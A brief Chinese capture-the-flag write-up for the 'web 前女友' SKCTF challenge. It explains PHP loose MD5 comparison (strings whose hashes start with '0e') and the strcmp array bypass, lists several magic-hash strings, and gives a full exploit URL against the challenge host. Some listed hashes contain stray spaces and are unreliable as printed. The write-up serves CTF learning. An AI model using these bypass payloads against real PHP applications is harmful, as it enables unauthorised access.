write up： web 前女友(SKCTF)

直接访问：

http://123.206.31.85:49162/code.txt

一个简单的md5比较漏洞和strcmp比较漏洞。

常用的几个字符串及对应的md5:

QNKCDZO
0e830400451993494058024219903391
240610708
0e46209743190650901 9562988736854
aabg7XSs
0e0873864821 36013740957780965295
aabC9RqS
0e041 0225181 657 28065344349536299
s878926199a
0e545993274517709034328855841020

strcmp比较漏洞

5.3.3以后,当比较 **数组和字符串 **的时候，返回是0。

构造一个url：

http://123.206.31.85:49162/?v1=QNKCDZO&v2=aabg7XSs&v3[]=1

end～